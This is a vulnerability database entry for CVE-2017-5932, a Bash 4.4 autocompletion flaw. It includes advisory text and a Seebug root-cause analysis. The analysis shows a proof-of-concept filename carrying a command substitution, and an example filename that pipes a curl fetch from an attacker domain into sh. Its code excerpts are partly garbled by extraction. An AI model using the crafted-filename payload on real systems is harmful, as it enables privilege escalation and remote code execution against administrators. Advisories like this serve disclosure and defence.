Vulnerabilities > CVE-2017-5932 - Improper Input Validation vulnerability in GNU Bash 4.4
Attack vector
LOCAL Attack complexity
LOW Privileges required
LOW Confidentiality impact
HIGH Integrity impact
HIGH Availability impact
HIGH Summary
The path autocompletion feature in Bash 4.4 allows local users to gain privileges via a crafted filename starting with a " (double quote) character and a command substitution metacharacter.
Common Weakness Enumeration (CWE)
Common Attack Pattern Enumeration and Classification (CAPEC)
- Buffer Overflow via Environment Variables This attack pattern involves causing a buffer overflow through manipulation of environment variables. Once the attacker finds that they can modify an environment variable, they may try to overflow associated buffers. This attack leverages implicit trust often placed in environment variables.
- Server Side Include (SSI) Injection An attacker can use Server Side Include (SSI) Injection to send code to a web application that then gets executed by the web server. Doing so enables the attacker to achieve similar results to Cross Site Scripting, viz., arbitrary code execution and information disclosure, albeit on a more limited scale, since the SSI directives are nowhere near as powerful as a full-fledged scripting language. Nonetheless, the attacker can conveniently gain access to sensitive files, such as password files, and execute shell commands.
- Cross Zone Scripting An attacker is able to cause a victim to load content into their web-browser that bypasses security zone controls and gain access to increased privileges to execute scripting code or other web objects such as unsigned ActiveX controls or applets. This is a privilege elevation attack targeted at zone-based web-browser security. In a zone-based model, pages belong to one of a set of zones corresponding to the level of privilege assigned to that page. Pages in an untrusted zone would have a lesser level of access to the system and/or be restricted in the types of executable content it was allowed to invoke. In a cross-zone scripting attack, a page that should be assigned to a less privileged zone is granted the privileges of a more trusted zone. This can be accomplished by exploiting bugs in the browser, exploiting incorrect configuration in the zone controls, through a cross-site scripting attack that causes the attackers' content to be treated as coming from a more trusted page, or by leveraging some piece of system functionality that is accessible from both the trusted and less trusted zone. This attack differs from "Restful Privilege Escalation" in that the latter correlates to the inadequate securing of RESTful access methods (such as HTTP DELETE) on the server, while cross-zone scripting attacks the concept of security zones as implemented by a browser.
- Cross Site Scripting through Log Files An attacker may leverage a system weakness where logs are susceptible to log injection to insert scripts into the system's logs. If these logs are later viewed by an administrator through a thin administrative interface and the log data is not properly HTML encoded before being written to the page, the attackers' scripts stored in the log will be executed in the administrative interface with potentially serious consequences. This attack pattern is really a combination of two other attack patterns: log injection and stored cross site scripting.
- Command Line Execution through SQL Injection An attacker uses standard SQL injection methods to inject data into the command line for execution. This could be done directly through misuse of directives such as MSSQL_xp_cmdshell or indirectly through injection of data into the database that would be interpreted as shell commands. Sometime later, an unscrupulous backend application (or could be part of the functionality of the same application) fetches the injected data stored in the database and uses this data as command line arguments without performing proper validation. The malicious data escapes that data plane by spawning new commands to be executed on the host.
Nessus
NASL family | Ubuntu Local Security Checks |
NASL id | UBUNTU_USN-3294-1.NASL |
description | Bernd Dietzel discovered that Bash incorrectly expanded the hostname when displaying the prompt. If a remote attacker were able to modify a hostname, this flaw could be exploited to execute arbitrary code. This issue only affected Ubuntu 14.04 LTS, Ubuntu 16.04 LTS and Ubuntu 16.10. (CVE-2016-0634) It was discovered that Bash incorrectly handled the SHELLOPTS and PS4 environment variables. A local attacker could use this issue to execute arbitrary code with root privileges. This issue only affected Ubuntu 14.04 LTS, Ubuntu 16.04 LTS and Ubuntu 16.10. (CVE-2016-7543) It was discovered that Bash incorrectly handled the popd command. A remote attacker could possibly use this issue to bypass restricted shells. (CVE-2016-9401) It was discovered that Bash incorrectly handled path autocompletion. A local attacker could possibly use this issue to execute arbitrary code. This issue only affected Ubuntu 17.04. (CVE-2017-5932). Note that Tenable Network Security has extracted the preceding description block directly from the Ubuntu security advisory. Tenable has attempted to automatically clean and format it as much as possible without introducing additional issues. |
last seen | 2020-06-01 |
modified | 2020-06-02 |
plugin id | 100268 |
published | 2017-05-18 |
reporter | Ubuntu Security Notice (C) 2017-2019 Canonical, Inc. / NASL script (C) 2017-2019 and is owned by Tenable, Inc. or an Affiliate thereof. |
source | https://www.tenable.com/plugins/nessus/100268 |
title | Ubuntu 14.04 LTS / 16.04 LTS / 16.10 / 17.04 : bash vulnerabilities (USN-3294-1) |
Seebug
bulletinFamily | exploit |
description | #### 1 Introduction GNU Bash from version 4.4 contains two bugs in its path completion feature leading to a code execution vulnerability. An exploit can be realized by creating a file or directory with a specially crafted name. A user utilizing GNU Bash's built-in path completion by hitting the Tab button (f.e. to remove it with rm) triggers the exploit without executing a command itself. The vulnerability has been introduced on the devel-branch in May 2015. #### 2 Description The vulnerability occurs if a file with an opening double quote character(") followed by GNU Bash's built-in command substitution feature (Either '<command>' or $(<command>)) is created. The double quote does not need to be closed. If a user tries to use the autocomplete feature, the command is being executed (if it does not contain a slash(/ ) character): ``` [ h e y e n s@ b e ow ul f ] $ t o u c h ' " ' t o uc h He reBeD ragons ' ' [ h e y e n s@ b e ow ul f ] $ l s −l t i n s g e s am t 0 −rw−r−−r−− 1 h e y e n s h e y e n s 0 1 7. Jan 1 6: 0 3 ' " ' t o uc h He reBeD ragons ' ' [ h e y e n s@ b e ow ul f ] $ rm " ' t o uc h He reBeD ragons ' ˆC [ h e y e n s@ b e ow ul f ] $ l s −l t i n s g e s am t 0 −rw−r−−r−− 1 h e y e n s h e y e n s 0 1 7. Jan 1 6: 0 4 He reBeD ragons −rw−r−−r−− 1 h e y e n s h e y e n s 0 1 7. Jan 1 6: 0 3 ' " ' t o uc h He reBeD ragons ' ' ``` #### 3 Cause This vulnerability has been introduced on the devel-branch in commit 74b8cbb41398b4453d8ba04d0cdd1b25f9dcb9e3 [1] and has first been inserted into the 4.4 stable version. Code locations below refer to this commit hash. There are two functions of GNU Bash's C code leading to this vulnerability the authors considers bugs. For the sake of the argument, let us assume the attacker managed to store a file called "'foo' on disk. ##### 3.1 Double dequoting of dirname In the function bash filename stat hook, the code to check whether a file exists was previously inlined. In the commit, a call to directory exists replaces this check (both bashline.c): ``` 3121 e l s e i f ( t = mbsch r ( l o c a l d i r n a m e , ' ' ' ) ) /∗ XXX ∗/ 3122 s h o u l d e x p a n d d i r n a m e = ' ' ' ; 3123 3124 i f ( s h o u l d e x p a n d d i r n a m e && d i r e c t o r y e x i s t s ( l o c a l d i r n a m e ) ) 3125 s h o u l d e x p a n d d i r n a m e = 0 ; 3126 3127 i f ( s h o u l d e x p a n d d i r n a m e ) 3128 { 3129 new di r name = s a v e s t r i n g ( l o c a l d i r n a m e ) ; 3130 wl = e x p a n d p r o m p t s t r i n g ( new di rname , 0 , W NOCOMSUB) ; /∗ d o e s t h e r i g h t t h i n g ∗/ ``` Following that call, we observe that the parameter dirname is dequoted. However, at this point for a filename to be completed, quotes are already removed. ``` 3092 /∗ F i r s t , d e q u o t e t h e d i r e c t o r y name ∗/ 3093 new di r name = b a s h d e q u o t e f i l e n a m e ( di rname , r l c o m p l e t i o n q u o t e c h a r a c t e r ) ; 3094 d i r l e n = STRLEN ( new di r name ) ; 3095 i f ( new di r name [ d i r l e n − 1] == ' / ' ) 3096 new di r name [ d i r l e n − 1] = ' \0 ' ; 3097 #i f d e f i n e d (HAVE LSTAT) 3098 r = l s t a t ( new di rname , &sb ) == 0 ; 3099 #e l s e 3100 r = s t a t ( new di rname , &sb ) == 0 ; 3101 #e n d i f 3102 f r e e ( new di r name ) ; 3103 r e t u r n ( r ) ; ``` In essence, this means that if the dirname contains a double quote, this will be removed inside directory exists before (l)stat is called. Considering our original input, this means that new dirname contains 'foo'. This results in the function to return 0, since no file with the stripped name exists. Going back to the previous function, we observe that in case should expand dirname is not zero, expand prompt string is called with the directory name (line 3130). This happens in our case: the file appears to not have been found and we included a ' in its path. However, the correct parameter is passed to ensure that no command substitution is supposed to occur (W NOCOMSUB). This function basically passes these parameters to expand word internal (subst.c:8601) and as we'll show in a minute, does not actually '[do] the right thing'. ##### 3.2 Flags not being forwarded in expand word internal Looking at the source code of expand word internal, we observe that it has different case statements to handle, among others, quoted strings. We look at the following snippet, starting at subst.c:9009: ``` 9009 c a s e ' " ' : 9010 i f ( ( q u o te d & (Q DOUBLE QUOTES|Q HERE DOCUMENT) ) && ( ( q u o te d & Q ARITH ) == 0 ) ) 9011 g o t o a d d c h a r a c t e r ; 9012 9013 t i n d e x = ++s i n d e x ; 9014 temp = s t r i n g e x t r a c t d o u b l e q u o t e d ( s t r i n g , &s i n d e x , 0 ) ; 9015 9016 /∗ I f t h e q u o t e s s u r r o u n d e d t h e e n t i r e s t r i n g , t h e n t h e 9017 w h ole word was q u o te d . ∗/ 9018 q u o t e d s t a t e = ( t i n d e x == 1 && s t r i n g [ s i n d e x ] == ' \0 ' ) 9019 ? WHOLLY QUOTED 9020 : PARTIALLY QUOTED ; 9021 9022 i f ( temp && ∗temp ) 9023 { 9024 tw o rd = a l l o c w o r d d e s c ( ) ; 9025 two rd−>word = temp ; 9026 9027 temp = ( c h a r ∗)NULL ; 9028 9029 t e m p h a s d o l l a r a t = 0 ; /∗ XXX ∗/ 9030 /∗ Need t o g e t W HASQUOTEDNULL f l a g t h r o u g h t h i s f u n c t i o n . ∗/ 9031 l i s t = e x p a n d w o r d i n t e r n a l ( two rd , Q DOUBLE QUOTES, 0 , & t e m p h a s d o l l a r a t , ( i n t ∗)NULL) ; ``` In line 9014, everything between opening (and optionally closing) quotes is extracted. In line 9024, a new WORD DESC struct is allocated and the corresponding word field is set accordingly. However, the flags field is never set. In essence, even though W NOCOMSUB was set for the original string, this flag is not carried on to the newly created string. In line 9031, expand word internal is called recursively. In this case however, it will be passed 'foo' without any restrictions on command substitution, resulting in the attacker's command being executed with the privileges of the user who ran bash. #### 4 Impact We consider the impact of this flaw very high. Assuming an attacker has unprivileged account on a system, dropping a single file with the crafted name into a directory and asking an admin to investigate will elevate his privileges. Even though the vulnerability does not allow for a slash to be contained in the filename, exploitation is trivial: some-very-long-string-nobody-is-going-to-type"'curl attacker-domain.org| sh'. #### 5 Potential fix The issue is related to two separate bugs. Without deeper knowledge of the code base, we can only guess that passing the flags when recursively calling expand word internal should suffice to fix the issue. Nevertheless, the dequoting in directory exists in combination with a previously dequoted string should be easily fixable as well. #### References [1] GNU project. GNU Bash at Savannah git (devel branch). Available at http://git.savannah.gnu.org/cgit/bash.git/commit/?h=devel&id=74b8cbb41398b4453d8ba04d0cdd1b25f9dcb9e3. Accessed: 2017-01-17. |
id | SSV:93117 |
last seen | 2017-11-19 |
modified | 2017-05-19 |
published | 2017-05-19 |
reporter | Root |
title | GNU Bash code execution vulnerability in path completion(CVE-2017-5932) |
References
- http://git.savannah.gnu.org/cgit/bash.git/commit/?id=4f747edc625815f449048579f6e65869914dd715
- http://git.savannah.gnu.org/cgit/bash.git/commit/?id=4f747edc625815f449048579f6e65869914dd715
- http://www.openwall.com/lists/oss-security/2017/02/08/3
- http://www.openwall.com/lists/oss-security/2017/02/08/3
- http://www.securityfocus.com/bid/96136
- http://www.securityfocus.com/bid/96136
- https://lists.gnu.org/archive/html/bug-bash/2017-01/msg00034.html
- https://lists.gnu.org/archive/html/bug-bash/2017-01/msg00034.html